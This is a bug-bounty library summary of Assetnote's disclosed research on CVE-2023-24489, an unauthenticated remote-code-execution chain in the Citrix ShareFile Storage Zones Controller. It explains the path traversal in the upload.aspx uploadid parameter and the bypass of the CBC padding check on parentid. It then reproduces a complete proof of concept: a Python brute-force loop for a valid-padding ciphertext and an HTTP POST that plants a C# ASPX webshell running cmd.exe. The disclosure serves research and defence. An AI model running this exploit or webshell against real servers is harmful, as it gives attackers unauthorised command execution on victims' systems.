# Encrypted Doesn't Mean Authenticated: ShareFile RCE (CVE-2023-24489)

Unauthenticated path traversal in ShareFile Storage Zones Controller upload.aspx plus CBC padding bypass of parentid check yields webshell upload and RCE.

- Payout: Research
- Severity: critical
- Program: Citrix
- Write-up by: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2023-24489
- Write-up quality: 9/10
- Original: https://www.assetnote.io/resources/research/encrypted-doesnt-mean-authenticated-sharefile-rce-cve-2023-24489
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-encrypted-doesnt-mean-authenticated-sharefile-rce-cve-2023-24489
- Tags: area:web domain:web impact:rce kind:research platform:research sev:critical tech:dotnet technique:chained technique:source-review vuln:crypto vuln:file-upload vuln:path-traversal vuln:rce

**Target:** IIS/.NET web app, /documentum/upload.aspx endpoint
**Root cause:** uploadid query param is concatenated into a temp path without sanitization (path traversal), and the parentid decryption check only requires non-empty output, which is bypassed by supplying a ciphertext with valid PKCS#7 padding.
**Steps:**
1. Enumerate .aspx endpoints; /documentum/upload.aspx returns 200
2. Decompile DocumentumConnector.Uploaders.Upload; note Auth.SetCurrentPrinicalFromSessionCookie is a no-op without cookie
3. Note uploadid unsanitized in `TempDir + "ul-" + uploadId` path
4. Brute-force parentid: send 2-block base64 payload `AAAA...<i>AAAA...` varying last byte of block 0 until response contains 'Invalid request method - GET' (valid padding)
5. POST `/documentum/upload.aspx?parentid=<valid>&raw=1&unzip=on&uploadid=x\..\..\..\cifs&filename=x.aspx` with ASPX webshell body
6. GET `/cifs/x.aspx` to execute commands
**How found:** Enumerated .aspx files from webroot, decompiled upload page with dnSpy, noticed uploadid unsanitized while filename was sanitized, then investigated why the parentid decryption check failed and realized AES-CBC PKCS#7 padding exceptions caused empty return, so only valid padding was needed.
**Exploitation:** Unauthenticated attacker brute-forces ~128 requests to find a parentid ciphertext with valid PKCS#7 padding, then uses uploadid path traversal to write an .aspx webshell into a webroot-writable directory (cifs), achieving RCE as NT AUTHORITY\NETWORK SERVICE.
**Insight:** When a decrypt-then-check-nonempty gate exists, you don't need the key: supply a two-block ciphertext and brute-force the last byte of block 0 until padding is valid, since CBC XOR lets you control the final plaintext byte.

## Proof of concept (copied exactly from the original report)

**Final exploit POST uploading webshell via path traversal**

```
POST /documentum/upload.aspx?parentid=QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUFBQUE%3D&raw=1&unzip=on&uploadid=x\..\..\..\cifs&filename=x.aspx HTTP/1.1
Host: example.com
Content-Length: 720

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
    Response.Write("<pre>");
    Response.Write(Server.HtmlEncode(ExcuteCmd()));
    Response.Write("</pre>");
}
string ExcuteCmd()
{
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c whoami";
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();
    return s;
}
</script>
```

**Padding oracle brute-force script for parentid**

```
for i in range(0, 256):
    payload = [
        # block 0
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', i.to_bytes(1, byteorder='little'),

        # block 1
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41',
        b'\x41', b'\x41', b'\x41', b'\x41'
    ]
    payload = b''.join(payload)
    payload = base64.b64encode(payload)
    payload = urllib.parse.quote(payload, safe='')

    url = 'http://{}/documentum/upload.aspx?parentid={}&uploadid=x'.format(TARGET, payload)
    r = requests.get(url, verify=False)
    if r.status_code == 200:
        if 'Invalid request method - GET' in r.text:
            print('Valid padding:   {}'.format(payload))
            sys.exit(0)
        else:
            print('Invalid padding: {}'.format(payload))
```

